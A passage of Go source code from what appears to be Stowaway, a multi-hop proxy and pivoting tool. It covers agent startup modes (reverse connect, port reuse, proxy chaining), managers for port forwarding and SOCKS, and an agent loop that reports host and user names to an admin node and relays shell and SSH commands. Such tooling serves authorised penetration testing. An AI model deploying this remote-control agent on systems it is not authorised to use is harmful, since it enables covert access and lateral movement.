args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -l -s [secret] 73 | args.Mode = NORMAL_PASSIVE 74 | log.Printf("[*] Starting agent node passively.Now listening on port %s\n", args.Listen) 75 | } else if args.Listen == "" && args.Connect != "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -c -s [secret] 76 | args.Mode = NORMAL_ACTIVE 77 | log.Printf("[*] Starting agent node actively.Connecting to %s\n", args.Connect) 78 | } else if args.Listen == "" && args.Connect != "" && args.Reconnect != 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -c -s [secret] --reconnect 79 | args.Mode = NORMAL_RECONNECT_ACTIVE 80 | log.Printf("[*] Starting agent node actively.Connecting to %s.Reconnecting every %d seconds\n", args.Connect, args.Reconnect) 81 | } else if args.Listen == "" && args.Connect == "" && args.Reconnect == 0 && args.ReuseHost != "" && args.ReusePort != "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent --rehost --report -s [secret] 82 | args.Mode = SO_REUSE_PASSIVE 83 | log.Printf("[*] Starting agent node passively.Now reusing host %s, port %s(SO_REUSEPORT,SO_REUSEADDR)\n", args.ReuseHost, args.ReusePort) 84 | } else if args.Listen != "" && args.Connect == "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort != "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -l --report -s [secret] 85 | args.Mode = IPTABLES_REUSE_PASSIVE 86 | log.Printf("[*] Starting agent node passively.Now reusing port %s(IPTABLES)\n", args.ReusePort) 87 | } else if args.Listen == "" && args.Connect != "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_agent -c -s [secret] --proxy --proxyu [username] --proxyp [password] 88 | args.Mode = SOCKS5_PROXY_ACTIVE 89 | log.Printf("[*] Starting agent node actively.Connecting to %s via socks5 proxy %s\n", args.Connect, args.Socks5Proxy) 90 | } else if args.Listen == "" && args.Connect != "" && args.Reconnect != 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_agent -c -s [secret] --proxy --proxyu [username] --proxyp [password] --reconnect 91 | args.Mode = SOCKS5_PROXY_RECONNECT_ACTIVE 92 | log.Printf("[*] Starting agent node actively.Connecting to %s via socks5 proxy %s.Reconnecting every %d seconds\n", args.Connect, args.Socks5Proxy, args.Reconnect) 93 | } else if args.Listen == "" && args.Connect != "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.HttpProxy != "" { 94 | args.Mode = HTTP_PROXY_ACTIVE 95 | log.Printf("[*] Starting agent node actively.Connecting to %s via http proxy %s\n", args.Connect, args.HttpProxy) 96 | } else if args.Listen == "" && args.Connect != "" && args.Reconnect != 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.HttpProxy != "" { 97 | args.Mode = HTTP_PROXY_RECONNECT_ACTIVE 98 | log.Printf("[*] Starting agent node actively.Connecting to %s via http proxy %s.Reconnecting every %d seconds\n", args.Connect, args.HttpProxy, args.Reconnect) 99 | } else { 100 | os.Exit(1) 101 | } 102 | 103 | if args.Charset != "utf-8" && args.Charset != "gbk" { 104 | log.Fatalf("[*] Charset must be set as 'utf-8'(default) or 'gbk'") 105 | } 106 | 107 | if args.Domain == "" && args.Connect != "" { 108 | addrSlice := strings.SplitN(args.Connect, ":", 2) 109 | args.Domain = addrSlice[0] 110 | } 111 | 112 | if err := checkOptions(args); err != nil { 113 | log.Fatalf("[*] Options err: %s\n", err.Error()) 114 | } 115 | 116 | return args 117 | } 118 | 119 | func checkOptions(option *Options) error { 120 | var err error 121 | 122 | if args.Connect != "" { 123 | _, err = net.ResolveTCPAddr("", option.Connect) 124 | } 125 | 126 | if args.Socks5Proxy != "" { 127 | _, err = net.ResolveTCPAddr("", option.Socks5Proxy) 128 | } 129 | 130 | if args.HttpProxy != "" { 131 | _, err = net.ResolveTCPAddr("", option.HttpProxy) 132 | } 133 | 134 | if args.ReuseHost != "" { 135 | if addr := net.ParseIP(args.ReuseHost); addr == nil { 136 | err = errors.New("ReuseHost is not a valid IP addr") 137 | } 138 | } 139 | 140 | return err 141 | } 142 | -------------------------------------------------------------------------------- /agent/manager/backward.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | import ( 4 | "net" 5 | ) 6 | 7 | const ( 8 | B_NEWBACKWARD = iota 9 | B_GETSEQCHAN 10 | B_ADDCONN 11 | B_GETDATACHAN 12 | B_GETDATACHAN_WITHOUTUUID 13 | B_CLOSETCP 14 | B_CLOSESINGLE 15 | B_CLOSESINGLEALL 16 | B_FORCESHUTDOWN 17 | ) 18 | 19 | type backwardManager struct { 20 | backwardSeqMap map[uint64]string 21 | backwardMap map[string]*backward 22 | BackwardMessChan chan interface{} 23 | 24 | TaskChan chan *BackwardTask 25 | ResultChan chan *backwardResult 26 | SeqReady chan bool 27 | } 28 | 29 | type BackwardTask struct { 30 | Mode int 31 | Seq uint64 32 | 33 | Listener net.Listener 34 | RPort string 35 | } 36 | 37 | type backwardResult struct { 38 | OK bool 39 | 40 | SeqChan chan uint64 41 | DataChan chan []byte 42 | } 43 | 44 | type backward struct { 45 | listener net.Listener 46 | seqChan chan uint64 47 | 48 | backwardStatusMap map[uint64]*backwardStatus 49 | } 50 | 51 | type backwardStatus struct { 52 | dataChan chan []byte 53 | } 54 | 55 | func newBackwardManager() *backwardManager { 56 | manager := new(backwardManager) 57 | 58 | manager.backwardSeqMap = make(map[uint64]string) 59 | manager.backwardMap = make(map[string]*backward) 60 | manager.BackwardMessChan = make(chan interface{}, 5) 61 | 62 | manager.ResultChan = make(chan *backwardResult) 63 | manager.TaskChan = make(chan *BackwardTask) 64 | manager.SeqReady = make(chan bool) 65 | 66 | return manager 67 | } 68 | 69 | func (manager *backwardManager) run() { 70 | for { 71 | task := <-manager.TaskChan 72 | 73 | switch task.Mode { 74 | case B_NEWBACKWARD: 75 | manager.newBackward(task) 76 | case B_GETSEQCHAN: 77 | manager.getSeqChan(task) 78 | case B_ADDCONN: 79 | manager.addConn(task) 80 | case B_GETDATACHAN: 81 | manager.getDataChan(task) 82 | case B_GETDATACHAN_WITHOUTUUID: 83 | manager.getDatachanWithoutUUID(task) 84 | case B_CLOSETCP: 85 | manager.closeTCP(task) 86 | case B_CLOSESINGLE: 87 | manager.closeSingle(task) 88 | case B_CLOSESINGLEALL: 89 | manager.closeSingleAll() 90 | case B_FORCESHUTDOWN: 91 | manager.forceShutdown() 92 | } 93 | } 94 | } 95 | 96 | func (manager *backwardManager) newBackward(task *BackwardTask) { 97 | manager.backwardMap[task.RPort] = new(backward) 98 | manager.backwardMap[task.RPort].listener = task.Listener 99 | manager.backwardMap[task.RPort].backwardStatusMap = make(map[uint64]*backwardStatus) 100 | manager.backwardMap[task.RPort].seqChan = make(chan uint64) 101 | manager.ResultChan <- &backwardResult{OK: true} 102 | } 103 | 104 | func (manager *backwardManager) getSeqChan(task *BackwardTask) { 105 | if _, ok := manager.backwardMap[task.RPort]; ok { 106 | manager.ResultChan <- &backwardResult{ 107 | OK: true, 108 | SeqChan: manager.backwardMap[task.RPort].seqChan, 109 | } 110 | } else { 111 | manager.ResultChan <- &backwardResult{OK: false} 112 | } 113 | } 114 | 115 | func (manager *backwardManager) addConn(task *BackwardTask) { 116 | if _, ok := manager.backwardMap[task.RPort]; ok { 117 | manager.backwardSeqMap[task.Seq] = task.RPort 118 | manager.backwardMap[task.RPort].backwardStatusMap[task.Seq] = new(backwardStatus) 119 | manager.backwardMap[task.RPort].backwardStatusMap[task.Seq].dataChan = make(chan []byte, 5) 120 | manager.ResultChan <- &backwardResult{OK: true} 121 | } else { 122 | manager.ResultChan <- &backwardResult{OK: false} 123 | } 124 | } 125 | 126 | func (manager *backwardManager) getDataChan(task *BackwardTask) { 127 | if _, ok := manager.backwardMap[task.RPort]; ok { 128 | if _, ok := manager.backwardMap[task.RPort].backwardStatusMap[task.Seq]; ok { 129 | manager.ResultChan <- &backwardResult{ 130 | OK: true, 131 | DataChan: manager.backwardMap[task.RPort].backwardStatusMap[task.Seq].dataChan, 132 | } 133 | } else { 134 | manager.ResultChan <- &backwardResult{OK: false} 135 | } 136 | } else { 137 | manager.ResultChan <- &backwardResult{OK: false} 138 | } 139 | } 140 | 141 | func (manager *backwardManager) getDatachanWithoutUUID(task *BackwardTask) { 142 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 143 | manager.ResultChan <- &backwardResult{OK: false} 144 | return 145 | } 146 | 147 | rPort := manager.backwardSeqMap[task.Seq] 148 | 149 | if _, ok := manager.backwardMap[rPort]; ok { 150 | manager.ResultChan <- &backwardResult{ 151 | OK: true, 152 | DataChan: manager.backwardMap[rPort].backwardStatusMap[task.Seq].dataChan, 153 | } 154 | } else { 155 | manager.ResultChan <- &backwardResult{OK: false} 156 | } 157 | } 158 | 159 | func (manager *backwardManager) closeTCP(task *BackwardTask) { 160 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 161 | return 162 | } 163 | 164 | rPort := manager.backwardSeqMap[task.Seq] 165 | 166 | close(manager.backwardMap[rPort].backwardStatusMap[task.Seq].dataChan) 167 | 168 | delete(manager.backwardMap[rPort].backwardStatusMap, task.Seq) 169 | 170 | } 171 | 172 | func (manager *backwardManager) closeSingle(task *BackwardTask) { 173 | manager.backwardMap[task.RPort].listener.Close() 174 | close(manager.backwardMap[task.RPort].seqChan) 175 | 176 | for seq, status := range manager.backwardMap[task.RPort].backwardStatusMap { 177 | close(status.dataChan) 178 | delete(manager.backwardMap[task.RPort].backwardStatusMap, seq) 179 | } 180 | 181 | delete(manager.backwardMap, task.RPort) 182 | 183 | for seq, rPort := range manager.backwardSeqMap { 184 | if rPort == task.RPort { 185 | delete(manager.backwardSeqMap, seq) 186 | } 187 | } 188 | 189 | manager.ResultChan <- &backwardResult{OK: true} 190 | } 191 | 192 | func (manager *backwardManager) closeSingleAll() { 193 | for rPort, bw := range manager.backwardMap { 194 | bw.listener.Close() 195 | close(bw.seqChan) 196 | 197 | for seq, status := range bw.backwardStatusMap { 198 | close(status.dataChan) 199 | delete(manager.backwardMap[rPort].backwardStatusMap, seq) 200 | } 201 | 202 | delete(manager.backwardMap, rPort) 203 | } 204 | 205 | for seq := range manager.backwardSeqMap { 206 | delete(manager.backwardSeqMap, seq) 207 | } 208 | 209 | manager.ResultChan <- &backwardResult{OK: true} 210 | } 211 | 212 | func (manager *backwardManager) forceShutdown() { 213 | manager.closeSingleAll() 214 | } 215 | -------------------------------------------------------------------------------- /agent/manager/children.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | import ( 4 | "net" 5 | ) 6 | 7 | const ( 8 | C_NEWCHILD = iota 9 | C_GETCONN 10 | C_GETALLCHILDREN 11 | C_DELCHILD 12 | ) 13 | 14 | type childrenManager struct { 15 | children map[string]*child 16 | ChildComeChan chan *ChildInfo 17 | 18 | TaskChan chan *ChildrenTask 19 | ResultChan chan *ChildrenResult 20 | } 21 | 22 | type ChildrenTask struct { 23 | Mode int 24 | 25 | UUID string 26 | Conn net.Conn 27 | } 28 | 29 | type ChildrenResult struct { 30 | Conn net.Conn 31 | OK bool 32 | Children []string 33 | } 34 | 35 | type ChildInfo struct { 36 | UUID string 37 | Conn net.Conn 38 | } 39 | 40 | type child struct { 41 | conn net.Conn 42 | } 43 | 44 | func newChildrenManager() *childrenManager { 45 | manager := new(childrenManager) 46 | manager.children = make(map[string]*child) 47 | manager.ChildComeChan = make(chan *ChildInfo) 48 | manager.TaskChan = make(chan *ChildrenTask) 49 | manager.ResultChan = make(chan *ChildrenResult) 50 | return manager 51 | } 52 | 53 | func (manager *childrenManager) run() { 54 | for { 55 | task := <-manager.TaskChan 56 | 57 | switch task.Mode { 58 | case C_NEWCHILD: 59 | manager.newChild(task) 60 | case C_GETCONN: 61 | manager.getConn(task) 62 | case C_GETALLCHILDREN: 63 | manager.getAllChildren() 64 | case C_DELCHILD: 65 | manager.delChild(task) 66 | } 67 | } 68 | } 69 | 70 | func (manager *childrenManager) newChild(task *ChildrenTask) { 71 | manager.children[task.UUID] = new(child) 72 | manager.children[task.UUID].conn = task.Conn 73 | manager.ResultChan <- &ChildrenResult{OK: true} 74 | } 75 | 76 | func (manager *childrenManager) getConn(task *ChildrenTask) { 77 | if _, ok := manager.children[task.UUID]; ok { 78 | manager.ResultChan <- &ChildrenResult{ 79 | OK: true, 80 | Conn: manager.children[task.UUID].conn, 81 | } 82 | } else { 83 | manager.ResultChan <- &ChildrenResult{OK: false} 84 | } 85 | } 86 | 87 | func (manager *childrenManager) getAllChildren() { 88 | var children []string 89 | 90 | for child := range manager.children { 91 | children = append(children, child) 92 | } 93 | 94 | manager.ResultChan <- &ChildrenResult{Children: children} 95 | } 96 | 97 | func (manager *childrenManager) delChild(task *ChildrenTask) { 98 | delete(manager.children, task.UUID) 99 | manager.ResultChan <- &ChildrenResult{OK: true} 100 | } 101 | -------------------------------------------------------------------------------- /agent/manager/forward.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | const ( 4 | F_NEWFORWARD = iota 5 | F_GETDATACHAN 6 | F_CHECKFORWARD 7 | F_CLOSETCP 8 | F_FORCESHUTDOWN 9 | ) 10 | 11 | type forwardManager struct { 12 | forwardStatusMap map[uint64]*forwardStatus 13 | ForwardMessChan chan interface{} 14 | 15 | TaskChan chan *ForwardTask 16 | ResultChan chan *forwardResult 17 | } 18 | 19 | type ForwardTask struct { 20 | Mode int 21 | Seq uint64 22 | } 23 | 24 | type forwardResult struct { 25 | OK bool 26 | 27 | DataChan chan []byte 28 | } 29 | 30 | type forwardStatus struct { 31 | dataChan chan []byte 32 | } 33 | 34 | func newForwardManager() *forwardManager { 35 | manager := new(forwardManager) 36 | 37 | manager.forwardStatusMap = make(map[uint64]*forwardStatus) 38 | manager.ForwardMessChan = make(chan interface{}, 5) 39 | 40 | manager.ResultChan = make(chan *forwardResult) 41 | manager.TaskChan = make(chan *ForwardTask) 42 | 43 | return manager 44 | } 45 | 46 | func (manager *forwardManager) run() { 47 | for { 48 | task := <-manager.TaskChan 49 | 50 | switch task.Mode { 51 | case F_NEWFORWARD: 52 | manager.newForward(task) 53 | case F_GETDATACHAN: 54 | manager.getDataChan(task) 55 | case F_CHECKFORWARD: 56 | manager.checkForward(task) 57 | case F_CLOSETCP: 58 | manager.closeTCP(task) 59 | case F_FORCESHUTDOWN: 60 | manager.forceShutdown() 61 | } 62 | } 63 | } 64 | 65 | func (manager *forwardManager) newForward(task *ForwardTask) { 66 | manager.forwardStatusMap[task.Seq] = new(forwardStatus) 67 | manager.forwardStatusMap[task.Seq].dataChan = make(chan []byte, 5) 68 | manager.ResultChan <- &forwardResult{OK: true} 69 | } 70 | 71 | func (manager *forwardManager) checkForward(task *ForwardTask) { 72 | if _, ok := manager.forwardStatusMap[task.Seq]; ok { 73 | manager.ResultChan <- &forwardResult{OK: true} 74 | } else { 75 | manager.ResultChan <- &forwardResult{OK: false} 76 | } 77 | } 78 | 79 | func (manager *forwardManager) getDataChan(task *ForwardTask) { 80 | if _, ok := manager.forwardStatusMap[task.Seq]; ok { 81 | manager.ResultChan <- &forwardResult{ 82 | OK: true, 83 | DataChan: manager.forwardStatusMap[task.Seq].dataChan, 84 | } 85 | } else { 86 | manager.ResultChan <- &forwardResult{OK: false} 87 | } 88 | } 89 | 90 | func (manager *forwardManager) closeTCP(task *ForwardTask) { 91 | close(manager.forwardStatusMap[task.Seq].dataChan) 92 | 93 | delete(manager.forwardStatusMap, task.Seq) 94 | } 95 | 96 | func (manager *forwardManager) forceShutdown() { 97 | for seq, status := range manager.forwardStatusMap { 98 | close(status.dataChan) 99 | delete(manager.forwardStatusMap, seq) 100 | } 101 | 102 | manager.ResultChan <- &forwardResult{OK: true} 103 | } 104 | -------------------------------------------------------------------------------- /agent/manager/manager.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | import ( 4 | "Stowaway/share" 5 | ) 6 | 7 | type Manager struct { 8 | ChildrenManager *childrenManager 9 | FileManager *fileManager 10 | SocksManager *socksManager 11 | ForwardManager *forwardManager 12 | BackwardManager *backwardManager 13 | SSHManager *sshManager 14 | SSHTunnelManager *sshTunnelManager 15 | ShellManager *shellManager 16 | ListenManager *listenManager 17 | ConnectManager *connectManager 18 | OfflineManager *offlineManager 19 | } 20 | 21 | func NewManager(file *share.MyFile) *Manager { 22 | manager := new(Manager) 23 | manager.ChildrenManager = newChildrenManager() 24 | manager.FileManager = newFileManager(file) 25 | manager.SocksManager = newSocksManager() 26 | manager.ForwardManager = newForwardManager() 27 | manager.BackwardManager = newBackwardManager() 28 | manager.SSHManager = newSSHManager() 29 | manager.SSHTunnelManager = newSSHTunnelManager() 30 | manager.ShellManager = newShellManager() 31 | manager.ListenManager = newListenManager() 32 | manager.ConnectManager = newConnectManager() 33 | manager.OfflineManager = newOfflineManager() 34 | return manager 35 | } 36 | 37 | func (manager *Manager) Run() { 38 | go manager.ChildrenManager.run() 39 | go manager.SocksManager.run() 40 | go manager.ForwardManager.run() 41 | go manager.BackwardManager.run() 42 | } 43 | -------------------------------------------------------------------------------- /agent/manager/others.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | import "Stowaway/share" 4 | 5 | type fileManager struct { 6 | File *share.MyFile 7 | 8 | FileMessChan chan interface{} 9 | } 10 | 11 | func newFileManager(file *share.MyFile) *fileManager { 12 | manager := new(fileManager) 13 | manager.File = file 14 | manager.FileMessChan = make(chan interface{}, 5) 15 | return manager 16 | } 17 | 18 | type sshManager struct { 19 | SSHMessChan chan interface{} 20 | } 21 | 22 | func newSSHManager() *sshManager { 23 | manager := new(sshManager) 24 | manager.SSHMessChan = make(chan interface{}, 5) 25 | return manager 26 | } 27 | 28 | type sshTunnelManager struct { 29 | SSHTunnelMessChan chan interface{} 30 | } 31 | 32 | func newSSHTunnelManager() *sshTunnelManager { 33 | manager := new(sshTunnelManager) 34 | manager.SSHTunnelMessChan = make(chan interface{}, 5) 35 | return manager 36 | } 37 | 38 | type shellManager struct { 39 | ShellMessChan chan interface{} 40 | } 41 | 42 | func newShellManager() *shellManager { 43 | manager := new(shellManager) 44 | manager.ShellMessChan = make(chan interface{}, 5) 45 | return manager 46 | } 47 | 48 | type listenManager struct { 49 | ListenMessChan chan interface{} 50 | ChildUUIDChan chan string 51 | } 52 | 53 | func newListenManager() *listenManager { 54 | manager := new(listenManager) 55 | manager.ListenMessChan = make(chan interface{}, 5) 56 | manager.ChildUUIDChan = make(chan string) 57 | return manager 58 | } 59 | 60 | type connectManager struct { 61 | ConnectMessChan chan interface{} 62 | } 63 | 64 | func newConnectManager() *connectManager { 65 | manager := new(connectManager) 66 | manager.ConnectMessChan = make(chan interface{}, 5) 67 | return manager 68 | } 69 | 70 | type offlineManager struct { 71 | OfflineMessChan chan interface{} 72 | } 73 | 74 | func newOfflineManager() *offlineManager { 75 | manager := new(offlineManager) 76 | manager.OfflineMessChan = make(chan interface{}, 5) 77 | return manager 78 | } 79 | -------------------------------------------------------------------------------- /agent/manager/socks.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | const ( 4 | S_CHECKTCP = iota 5 | S_CHECKUDP 6 | S_UPDATEUDPHEADER 7 | S_GETTCPDATACHAN 8 | S_GETUDPCHANS 9 | S_GETUDPHEADER 10 | S_CLOSETCP 11 | S_CHECKSOCKSREADY 12 | S_FORCESHUTDOWN 13 | ) 14 | 15 | type socksManager struct { 16 | socksStatusMap map[uint64]*socksStatus 17 | SocksMessChan chan interface{} 18 | 19 | TaskChan chan *SocksTask 20 | ResultChan chan *socksResult 21 | } 22 | 23 | type SocksTask struct { 24 | Mode int 25 | Seq uint64 26 | 27 | SocksHeaderAddr string 28 | SocksHeader []byte 29 | } 30 | 31 | type socksResult struct { 32 | OK bool 33 | 34 | SocksSeqExist bool 35 | DataChan chan []byte 36 | ReadyChan chan string 37 | SocksID uint64 38 | SocksUDPHeader []byte 39 | } 40 | 41 | type socksStatus struct { 42 | isUDP bool 43 | tcp *tcpSocks 44 | udp *udpSocks 45 | } 46 | 47 | type tcpSocks struct { 48 | dataChan chan []byte 49 | } 50 | 51 | type udpSocks struct { 52 | dataChan chan []byte 53 | readyChan chan string 54 | headerPairs map[string][]byte 55 | } 56 | 57 | func newSocksManager() *socksManager { 58 | manager := new(socksManager) 59 | 60 | manager.socksStatusMap = make(map[uint64]*socksStatus) 61 | manager.SocksMessChan = make(chan interface{}, 5) 62 | 63 | manager.ResultChan = make(chan *socksResult) 64 | manager.TaskChan = make(chan *SocksTask) 65 | 66 | return manager 67 | } 68 | 69 | func (manager *socksManager) run() { 70 | for { 71 | task := <-manager.TaskChan 72 | 73 | switch task.Mode { 74 | case S_GETTCPDATACHAN: 75 | manager.getTCPDataChan(task) 76 | case S_GETUDPCHANS: 77 | manager.getUDPChans(task) 78 | case S_GETUDPHEADER: 79 | manager.getUDPHeader(task) 80 | case S_CHECKTCP: 81 | manager.checkTCP(task) 82 | case S_CHECKUDP: 83 | manager.checkUDP(task) 84 | case S_UPDATEUDPHEADER: 85 | manager.updateUDPHeader(task) 86 | case S_CLOSETCP: 87 | manager.closeTCP(task) 88 | case S_CHECKSOCKSREADY: 89 | manager.checkSocksReady() 90 | case S_FORCESHUTDOWN: 91 | manager.forceShutdown() 92 | } 93 | } 94 | } 95 | 96 | func (manager *socksManager) getTCPDataChan(task *SocksTask) { 97 | if _, ok := manager.socksStatusMap[task.Seq]; ok { 98 | manager.ResultChan <- &socksResult{ 99 | SocksSeqExist: true, 100 | DataChan: manager.socksStatusMap[task.Seq].tcp.dataChan, 101 | } 102 | } else { 103 | manager.socksStatusMap[task.Seq] = new(socksStatus) 104 | manager.socksStatusMap[task.Seq].tcp = new(tcpSocks) 105 | manager.socksStatusMap[task.Seq].tcp.dataChan = make(chan []byte, 5) // register it! 106 | manager.ResultChan <- &socksResult{ 107 | SocksSeqExist: false, 108 | DataChan: manager.socksStatusMap[task.Seq].tcp.dataChan, 109 | } // tell upstream result 110 | } 111 | } 112 | 113 | func (manager *socksManager) getUDPChans(task *SocksTask) { 114 | if _, ok := manager.socksStatusMap[task.Seq]; ok { 115 | manager.ResultChan <- &socksResult{ 116 | OK: true, 117 | DataChan: manager.socksStatusMap[task.Seq].udp.dataChan, 118 | ReadyChan: manager.socksStatusMap[task.Seq].udp.readyChan, 119 | } 120 | } else { 121 | manager.ResultChan <- &socksResult{OK: false} 122 | } 123 | } 124 | 125 | func (manager *socksManager) checkTCP(task *SocksTask) { 126 | if _, ok := manager.socksStatusMap[task.Seq]; ok { 127 | manager.ResultChan <- &socksResult{OK: true} 128 | } else { 129 | manager.ResultChan <- &socksResult{OK: false} // avoid the scenario that admin conn ask to fin before "socks.buildConn()" call "updateTCP()" 130 | } 131 | } 132 | 133 | func (manager *socksManager) checkUDP(task *SocksTask) { 134 | if _, ok := manager.socksStatusMap[task.Seq]; ok { 135 | manager.socksStatusMap[task.Seq].isUDP = true 136 | manager.socksStatusMap[task.Seq].udp = new(udpSocks) 137 | manager.socksStatusMap[task.Seq].udp.dataChan = make(chan []byte, 5) 138 | manager.socksStatusMap[task.Seq].udp.readyChan = make(chan string) 139 | manager.socksStatusMap[task.Seq].udp.headerPairs = make(map[string][]byte) 140 | manager.ResultChan <- &socksResult{OK: true} // tell upstream work done 141 | } else { 142 | manager.ResultChan <- &socksResult{OK: false} 143 | } 144 | } 145 | 146 | func (manager *socksManager) updateUDPHeader(task *SocksTask) { 147 | if _, ok := manager.socksStatusMap[task.Seq]; ok { 148 | manager.socksStatusMap[task.Seq].udp.headerPairs[task.SocksHeaderAddr] = task.SocksHeader 149 | } 150 | manager.ResultChan <- &socksResult{} 151 | } 152 | 153 | func (manager *socksManager) getUDPHeader(task *SocksTask) { 154 | if _, ok := manager.socksStatusMap[task.Seq]; ok { 155 | if _, ok := manager.socksStatusMap[task.Seq].udp.headerPairs[task.SocksHeaderAddr]; ok { 156 | manager.ResultChan <- &socksResult{ 157 | OK: true, 158 | SocksUDPHeader: manager.socksStatusMap[task.Seq].udp.headerPairs[task.SocksHeaderAddr], 159 | } 160 | } else { 161 | manager.ResultChan <- &socksResult{OK: false} 162 | } 163 | } else { 164 | manager.ResultChan <- &socksResult{OK: false} 165 | } 166 | } 167 | 168 | func (manager *socksManager) closeTCP(task *SocksTask) { 169 | close(manager.socksStatusMap[task.Seq].tcp.dataChan) 170 | 171 | if manager.socksStatusMap[task.Seq].isUDP { 172 | close(manager.socksStatusMap[task.Seq].udp.dataChan) 173 | close(manager.socksStatusMap[task.Seq].udp.readyChan) 174 | manager.socksStatusMap[task.Seq].udp.headerPairs = nil 175 | } 176 | 177 | delete(manager.socksStatusMap, task.Seq) // upstream not waiting 178 | } 179 | 180 | func (manager *socksManager) checkSocksReady() { 181 | if len(manager.socksStatusMap) == 0 { 182 | manager.ResultChan <- &socksResult{OK: true} 183 | } else { 184 | manager.ResultChan <- &socksResult{OK: false} 185 | } 186 | } 187 | 188 | func (manager *socksManager) forceShutdown() { 189 | for seq, status := range manager.socksStatusMap { 190 | close(status.tcp.dataChan) 191 | 192 | if status.isUDP { 193 | close(status.udp.dataChan) 194 | close(status.udp.readyChan) 195 | status.udp.headerPairs = nil 196 | } 197 | 198 | delete(manager.socksStatusMap, seq) 199 | } 200 | 201 | manager.ResultChan <- &socksResult{OK: true} 202 | } 203 | -------------------------------------------------------------------------------- /agent/process/process.go: -------------------------------------------------------------------------------- 1 | package process 2 | 3 | import ( 4 | "log" 5 | "net" 6 | "os" 7 | "strings" 8 | 9 | "Stowaway/agent/handler" 10 | "Stowaway/agent/initial" 11 | "Stowaway/agent/manager" 12 | "Stowaway/global" 13 | "Stowaway/protocol" 14 | "Stowaway/share" 15 | "Stowaway/utils" 16 | ) 17 | 18 | type Agent struct { 19 | UUID string 20 | Memo string 21 | 22 | options *initial.Options 23 | mgr *manager.Manager 24 | 25 | childrenMessChan chan *ChildrenMess 26 | } 27 | 28 | type ChildrenMess struct { 29 | cHeader *protocol.Header 30 | cMessage []byte 31 | } 32 | 33 | func NewAgent(options *initial.Options) *Agent { 34 | agent := new(Agent) 35 | agent.UUID = protocol.TEMP_UUID 36 | agent.childrenMessChan = make(chan *ChildrenMess, 5) 37 | agent.options = options 38 | return agent 39 | } 40 | 41 | func (agent *Agent) Run() { 42 | agent.sendMyInfo() 43 | // run manager 44 | agent.mgr = manager.NewManager(share.NewFile()) 45 | go agent.mgr.Run() 46 | // run dispatchers to dispatch all kinds of message 47 | go handler.DispatchListenMess(agent.mgr, agent.options) 48 | go handler.DispatchConnectMess(agent.mgr) 49 | go handler.DispathSocksMess(agent.mgr) 50 | go handler.DispatchForwardMess(agent.mgr) 51 | go handler.DispatchBackwardMess(agent.mgr) 52 | go handler.DispatchFileMess(agent.mgr) 53 | go handler.DispatchSSHMess(agent.mgr) 54 | go handler.DispatchSSHTunnelMess(agent.mgr) 55 | go handler.DispatchShellMess(agent.mgr, agent.options) 56 | go DispatchOfflineMess(agent) 57 | // run dispatcher to dispatch children's message 58 | go agent.dispatchChildrenMess() 59 | // waiting for child 60 | go agent.waitingChild() 61 | // process data from upstream 62 | agent.handleDataFromUpstream() 63 | //agent.handleDataFromDownstream() 64 | } 65 | 66 | func (agent *Agent) sendMyInfo() { 67 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 68 | header := &protocol.Header{ 69 | Sender: agent.UUID, 70 | Accepter: protocol.ADMIN_UUID, 71 | MessageType: protocol.MYINFO, 72 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 73 | Route: protocol.TEMP_ROUTE, 74 | } 75 | 76 | hostname, username := utils.GetSystemInfo() 77 | 78 | myInfoMess := &protocol.MyInfo{ 79 | UUIDLen: uint16(len(agent.UUID)), 80 | UUID: agent.UUID, 81 | UsernameLen: uint64(len(username)), 82 | Username: username, 83 | HostnameLen: uint64(len(hostname)), 84 | Hostname: hostname, 85 | MemoLen: uint64(len(agent.Memo)), 86 | Memo: agent.Memo, 87 | } 88 | 89 | protocol.ConstructMessage(sMessage, header, myInfoMess, false) 90 | sMessage.SendMessage() 91 | } 92 | 93 | func (agent *Agent) handleDataFromUpstream() { 94 | rMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 95 | 96 | for { 97 | header, message, err := protocol.DestructMessage(rMessage) 98 | if err != nil { 99 | upstreamOffline(agent.mgr, agent.options) 100 | // Update rMessage 101 | rMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 102 | go agent.sendMyInfo() 103 | continue 104 | } 105 | 106 | if header.Accepter == agent.UUID { 107 | switch header.MessageType { 108 | case protocol.MYMEMO: 109 | message := message.(*protocol.MyMemo) 110 | agent.Memo = message.Memo // no need to pass this like all the message below,just change memo directly 111 | case protocol.SHELLREQ: 112 | fallthrough 113 | case protocol.SHELLCOMMAND: 114 | agent.mgr.ShellManager.ShellMessChan <- message 115 | case protocol.SSHREQ: 116 | fallthrough 117 | case protocol.SSHCOMMAND: 118 | agent.mgr.SSHManager.SSHMessChan <- message 119 | case 